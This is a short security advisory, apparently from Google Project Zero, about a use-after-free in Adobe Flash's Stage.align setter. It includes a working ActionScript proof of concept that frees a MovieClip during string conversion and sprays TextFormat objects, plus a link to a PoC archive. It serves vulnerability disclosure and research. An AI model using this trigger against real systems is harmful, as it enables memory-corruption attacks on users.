Adobe Flash - Stage.align Setter Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838

There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free.

A proof-of-concept is as follows:

this.createEmptyMovieClip("mc", 2);
var o = { toString : f };
mc.func = ASnative(666, 4); //Stage.align setter
mc.func(o);

function f(){
	
	trace("here");
	mc.removeMovieClip();
	for(var i = 0; i < 100; i++){	
		var t = new TextFormat(); // fill up the slots
		
		}
	}

A fla and swf are attached. The swf crashes in Chrome for Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40308.zip